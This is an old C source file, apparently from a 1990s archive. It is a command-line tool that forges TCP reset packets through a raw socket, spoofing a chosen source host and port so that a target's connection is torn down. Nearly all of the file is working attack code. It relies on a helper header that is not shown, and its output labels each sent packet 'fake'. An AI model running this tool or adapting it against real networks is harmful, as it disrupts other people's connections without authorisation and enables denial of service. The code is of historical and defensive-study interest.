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rst2.c
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C/C++ Source or Header
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1996-04-23
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1KB
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44 lines
#include "tcpip.h"
/* #include "/usr/src/see/srvent.h" */
void sendpack(char *fromhost, int fromport, char *tohost, int toport,
u_long seqnz) {
char *packet;
char *tcppacket;
char *sendme;
static struct sockaddr_in local, remote;
static int sock = 0;
if (!sock) {
resolve_address((struct sockaddr *)&local, fromhost, fromport);
resolve_address((struct sockaddr *)&remote, tohost, toport);
sock = socket(AF_INET, SOCK_RAW, 255);
if (sock == -1) { perror("Getting raw socket"); exit(-1); }
}
tcppacket = create_tcp(local.sin_port, remote.sin_port, seqnz, 0, TH_RST,
NULL, 0);
packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr,
6, 24, 4, tcppacket, 20);
{
int result;
result = sendto(sock, packet, 40, 0,
(struct sockaddr *)&remote, sizeof(remote));
if (result != 40) { perror("sending packet"); }
}
}
main(int argc, char **argv) {
if (argc!=6) {
printf("usage: %s <from host> <from port> <to host> <to port> <sequence>\n", argv[0]);
exit(-1);
}
#ifdef SERVPORTIE
printf("fake: %s.%s --> %s.%s\n", argv[1], tcp_servport(atoi(argv[2])),
argv[3], tcp_servport(atoi(argv[4])));
#else
printf("fake: %s.%d --> %s.%d\n", argv[1], atoi(argv[2]), argv[3],
atoi(argv[4]));
#endif
sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), atol(argv[5]));
}